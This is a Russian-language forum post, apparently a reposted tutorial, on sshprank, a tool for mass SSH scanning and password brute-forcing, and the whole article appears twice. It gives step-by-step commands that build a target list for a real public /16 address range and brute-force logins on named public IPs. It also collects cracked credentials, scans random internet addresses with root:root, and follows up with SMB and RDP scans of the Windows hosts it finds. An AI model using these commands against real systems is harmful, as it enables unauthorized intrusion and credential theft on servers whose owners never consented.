A
Askobol
Original poster
Приятного ознакомления!
Эта статья посвящена инструменту sshprank, который представляет собой быстрый сканер большого количества SSH серверов. Программа ищет компьютеры с запущенными SSH и пробует выполнить вход, используя указанные учётные данные, то есть выполняет брут-форс. Ещё программа умеет очень быстро собирать баннеры большого числа SSH.
Если вы вдруг не знаете, что такое SSH, то смотрите онлайн книгу «». SSH это важнейшая служба для подключения и выполнения команд на удалённых компьютерах под управлением Linux. Но SSH также активно используется на FreeBSD компьютерах и даже иногда на Windows.
Как установить sshprank
Установка sshprank в Kali Linux
sudo apt install python3-pip
git clone
cd sshprank
sudo pip3 install -r docs/requirements.txt
./sshprank.py -H
Установка sshprank в BlackArch
sudo pacman -S sshprank
Как создать список хостов
Программа sshprank напрямую не поддерживает диапазоны, хотя чуть позже я покажу, как всё-таки можно указывать подсети для сканирования с помощью sshprank. Поэтому для sshprank нужно создать список хостов.
Итак, я хочу просканировать диапазон 138.201.0.0/16. Для составления списка хостов я выполняю следующую команду:
echo -e 138.201.{0..255}.{0..255}"\n" | sed 's/ //' > hosts.txt
Проверим, что у нас получилось:
head -n 20 hosts.txt
Как запустить sshprank
В sshprank хосты можно указать следующим опциями:
-h <ХОСТ:[ПОРТЫ]> - один порт для взлома. Можно указать несколько портов, в этом
случае разделите их запятыми, т.е.: 22,2022,22222 (порт по умолчанию: 22)
-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
в этом случае разделите их запятыми (порт по умолчанию: 22)
То есть если мы хотим указать одиночный хост, то это можно сделать с помощью опции -h:
./sshprank.py -h 138.201.59.125
Также можно указать порты (иначе используется порт по умолчанию для SSH службы 22):
./sshprank.py -h 138.201.59.125:22,2022,22222
По умолчанию программа не выводит никакой информации, даже не показывает взломанные хосты, логины и пароли. Чтобы эта информация выводилась на экран, используйте опцию -v:
./sshprank.py -h 138.201.59.125 -v
Если не указан логин и пароль, то в качестве логина используется «root», и в качестве пароля используется «root».
Как указать файлы логинов и паролей в sshprank
Чтобы указать имя пользователя, пароль или словари с ними используются следующие опции:
-u <ПОЛЬЗОВАТЕЛЬ> - единичное имя пользователя (по умолчанию: root)
-U <ФАЙЛ> - список имён пользователей
-p - один пароль (по умолчанию: root)
-P <ФАЙЛ> - список паролей
-C <ФАЙЛ> - список комбинаций ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ
Вместе с программой поставляются крошечные словари:
Запустим sshprank в отношении одного хоста для подбора логина и пароля, для брутфорса будут использоваться указанные словари:
sshprank -h 192.168.0.100 -U user.txt -P passwords.txt -v
Результаты sshprank
Если бы мы не использовали опцию -v, то практически ничего не было бы выведено. Опция -v выводит информацию о попытках подключения, успешно подобранных учётных записях, а также о причинах неудачи, например:
[*] found login: 192.168.0.100:22:mial:2
То есть найден логин (mial) и пароль (2) для службы на 22 порту на хосте 192.168.0.100.
Все успешно найденные логины и пароли сохраняются в файл owned.txt в текущей рабочей папке. Имя и путь до файла можно изменить опцией -o <ФАЙЛ>.
Как просканировать большое количество SSH
Мы можем указать список хостов с помощью следующей опции:
-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
в этом случае разделите их запятыми (порт по умолчанию: 22)
Пример запуска:
./sshprank.py -l hosts.txt -U lists/user.txt -P lists/pws.txt -v
Разобраться в выводе sshprank невозможно, если сканируется множество хостов. Чтобы постоянно не проверять вручную файл owned.txt, можно использовать следующие команды:
touch owned.txt
tail -f owned.txt
Первая команда создаст файл, если он ещё не существует. А вторая команда будет немедленно выводить все изменения в этом файле, если они будут иметь место.
Как быстро собрать SSH банеры в большой сети
Для этого используется опция -b:
-b <ФАЙЛ> - список хостов для сбора баннеров sshd в
формате: <хост>[:порты]. Множественные порты могут быть
разделены запятыми (порт по умолчанию: 22)
То есть с этой опцией можно указать список хостов в том же формате, что и у опции -l. Изменится только режим работы — вместо брут-форса будут собираться банеры.
Далее пример запуска, полученные результаты будут сохранены в указанный файл:
./sshprank.py -b hosts.txt > ssh_banners.txt
Мониторить содержимое этого файла можно аналогичным образом:
touch ssh_banners.txttail -f ssh_banners.txt
Баннеры можно использовать для различных целей. Например, можно найти все компьютеры на Windows на которых запущена служба SSH:
cat ssh_banners.txt | grep -i windows
На серверах Windows довольно часто открыты порты служб и , с ними можно поиграться.
Чтобы отфильтровать хосты под управлением Windows:
cat ssh_banners.txt | grep -i windows | awk -F ':' '{ print $1 }' > windows_hosts.txt
Сканирование на и :
sudo nmap -iL windows_hosts.txt -p 139,445 --open
Сканирование на открытые порты :
sudo nmap -iL windows_hosts.txt -p 3389 -sU -sS --open
Пример получения информации об RDP и :
sudo nmap -p 3389 -sU -sS --script 'rdp-*' 138.201.134.34
Чтобы найти компьютеры под управлением FreeBSD:
cat ssh_banners.txt | grep -i bsd
По банерам можно искать старые версии дистрибутивов Linux, специфичные версии реализации SSH о которых известно, что они уязвимые, выполнять статистический анализ и прочее.
Опции masscan
sshprank использует модуль , а также имеет опцию -m которой можно передать опции уже в сам Masscan. Несколько примеров:
Быстрое сканирование, затем взлом найденных служб ssh. Данные для сканирования передаются в masscan (-m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'):
sudo ./sshprank -m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'
То есть диапазоны IP адресов для сканирования указываются в masscan опцией --range.
Сгенерировать тысячу случайных IPv4 адресов, затем просканировать порты со скоростью 1k p/s и найденные sshd сервера попытаться взломать учётными данными 'root:root':
sudo ./sshprank -m '-p22 --rate=1000' -r 1000 -v
Можно указать не только эти, а любые опции Masscan. Описание всех опций Masscan:
Все опции sshprank
Все опции sshprank вы найдёте на странице:
Заключение
sshprank пригодиться когда вашей целью являются SSH сервера разбросанные в большой сети или когда вам нужно очень быстро собрать банеры SSH на больших диапазонах. Например, с диапазона /16 (65536 IP адресов) можно собрать баннеры SSH служб буквально за несколько минут.
Эта статья посвящена инструменту sshprank, который представляет собой быстрый сканер большого количества SSH серверов. Программа ищет компьютеры с запущенными SSH и пробует выполнить вход, используя указанные учётные данные, то есть выполняет брут-форс. Ещё программа умеет очень быстро собирать баннеры большого числа SSH.
Если вы вдруг не знаете, что такое SSH, то смотрите онлайн книгу «». SSH это важнейшая служба для подключения и выполнения команд на удалённых компьютерах под управлением Linux. Но SSH также активно используется на FreeBSD компьютерах и даже иногда на Windows.
Как установить sshprank
Установка sshprank в Kali Linux
sudo apt install python3-pip
git clone
cd sshprank
sudo pip3 install -r docs/requirements.txt
./sshprank.py -H
Установка sshprank в BlackArch
sudo pacman -S sshprank
Как создать список хостов
Программа sshprank напрямую не поддерживает диапазоны, хотя чуть позже я покажу, как всё-таки можно указывать подсети для сканирования с помощью sshprank. Поэтому для sshprank нужно создать список хостов.
Итак, я хочу просканировать диапазон 138.201.0.0/16. Для составления списка хостов я выполняю следующую команду:
echo -e 138.201.{0..255}.{0..255}"\n" | sed 's/ //' > hosts.txt
Проверим, что у нас получилось:
head -n 20 hosts.txt

Как запустить sshprank
В sshprank хосты можно указать следующим опциями:
-h <ХОСТ:[ПОРТЫ]> - один порт для взлома. Можно указать несколько портов, в этом
случае разделите их запятыми, т.е.: 22,2022,22222 (порт по умолчанию: 22)
-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
в этом случае разделите их запятыми (порт по умолчанию: 22)
То есть если мы хотим указать одиночный хост, то это можно сделать с помощью опции -h:
./sshprank.py -h 138.201.59.125
Также можно указать порты (иначе используется порт по умолчанию для SSH службы 22):
./sshprank.py -h 138.201.59.125:22,2022,22222
По умолчанию программа не выводит никакой информации, даже не показывает взломанные хосты, логины и пароли. Чтобы эта информация выводилась на экран, используйте опцию -v:
./sshprank.py -h 138.201.59.125 -v
Если не указан логин и пароль, то в качестве логина используется «root», и в качестве пароля используется «root».
Как указать файлы логинов и паролей в sshprank
Чтобы указать имя пользователя, пароль или словари с ними используются следующие опции:
-u <ПОЛЬЗОВАТЕЛЬ> - единичное имя пользователя (по умолчанию: root)
-U <ФАЙЛ> - список имён пользователей
-p - один пароль (по умолчанию: root)
-P <ФАЙЛ> - список паролей
-C <ФАЙЛ> - список комбинаций ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ
Вместе с программой поставляются крошечные словари:
- lists/user.txt — имена пользователей
- lists/pws.txt — пароли
- lists/combo.txt — комбинации имён пользователей и паролей
Запустим sshprank в отношении одного хоста для подбора логина и пароля, для брутфорса будут использоваться указанные словари:
sshprank -h 192.168.0.100 -U user.txt -P passwords.txt -v

Результаты sshprank
Если бы мы не использовали опцию -v, то практически ничего не было бы выведено. Опция -v выводит информацию о попытках подключения, успешно подобранных учётных записях, а также о причинах неудачи, например:
- [!] could not connect: - не удалось подключиться (поскольку служба SSH не запущена, либо хост вообще офлайн).
- [!] login failure: … (auth timeout) - таймаут аутентификации — самая вероятная причина, это неправильное имя пользователя или пароль.
- [!] login failure: … (auth failed) — сервер явно сообщил о неудачном входе (неправльное имя пользователя или пароль).
- [!] login failure: … (pubkey auth) — не удалось аутентифицироваться из-за того, что вход осуществляется по .
[*] found login: 192.168.0.100:22:mial:2
То есть найден логин (mial) и пароль (2) для службы на 22 порту на хосте 192.168.0.100.
Все успешно найденные логины и пароли сохраняются в файл owned.txt в текущей рабочей папке. Имя и путь до файла можно изменить опцией -o <ФАЙЛ>.
Как просканировать большое количество SSH
Мы можем указать список хостов с помощью следующей опции:
-l <ФАЙЛ> - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
в этом случае разделите их запятыми (порт по умолчанию: 22)
Пример запуска:
./sshprank.py -l hosts.txt -U lists/user.txt -P lists/pws.txt -v
Разобраться в выводе sshprank невозможно, если сканируется множество хостов. Чтобы постоянно не проверять вручную файл owned.txt, можно использовать следующие команды:
touch owned.txt
tail -f owned.txt
Первая команда создаст файл, если он ещё не существует. А вторая команда будет немедленно выводить все изменения в этом файле, если они будут иметь место.
Как быстро собрать SSH банеры в большой сети
Для этого используется опция -b:
-b <ФАЙЛ> - список хостов для сбора баннеров sshd в
формате: <хост>[:порты]. Множественные порты могут быть
разделены запятыми (порт по умолчанию: 22)
То есть с этой опцией можно указать список хостов в том же формате, что и у опции -l. Изменится только режим работы — вместо брут-форса будут собираться банеры.
Далее пример запуска, полученные результаты будут сохранены в указанный файл:
./sshprank.py -b hosts.txt > ssh_banners.txt

Мониторить содержимое этого файла можно аналогичным образом:
touch ssh_banners.txttail -f ssh_banners.txt

Баннеры можно использовать для различных целей. Например, можно найти все компьютеры на Windows на которых запущена служба SSH:
cat ssh_banners.txt | grep -i windows

На серверах Windows довольно часто открыты порты служб и , с ними можно поиграться.
Чтобы отфильтровать хосты под управлением Windows:
cat ssh_banners.txt | grep -i windows | awk -F ':' '{ print $1 }' > windows_hosts.txt
Сканирование на и :
sudo nmap -iL windows_hosts.txt -p 139,445 --open
Сканирование на открытые порты :
sudo nmap -iL windows_hosts.txt -p 3389 -sU -sS --open
Пример получения информации об RDP и :
sudo nmap -p 3389 -sU -sS --script 'rdp-*' 138.201.134.34

Чтобы найти компьютеры под управлением FreeBSD:
cat ssh_banners.txt | grep -i bsd

По банерам можно искать старые версии дистрибутивов Linux, специфичные версии реализации SSH о которых известно, что они уязвимые, выполнять статистический анализ и прочее.
Опции masscan
sshprank использует модуль , а также имеет опцию -m которой можно передать опции уже в сам Masscan. Несколько примеров:
Быстрое сканирование, затем взлом найденных служб ssh. Данные для сканирования передаются в masscan (-m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'):
sudo ./sshprank -m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'
То есть диапазоны IP адресов для сканирования указываются в masscan опцией --range.
Сгенерировать тысячу случайных IPv4 адресов, затем просканировать порты со скоростью 1k p/s и найденные sshd сервера попытаться взломать учётными данными 'root:root':
sudo ./sshprank -m '-p22 --rate=1000' -r 1000 -v
Можно указать не только эти, а любые опции Masscan. Описание всех опций Masscan:
Все опции sshprank
Все опции sshprank вы найдёте на странице:
Заключение
sshprank пригодиться когда вашей целью являются SSH сервера разбросанные в большой сети или когда вам нужно очень быстро собрать банеры SSH на больших диапазонах. Например, с диапазона /16 (65536 IP адресов) можно собрать баннеры SSH служб буквально за несколько минут.
Последнее редактирование модератором: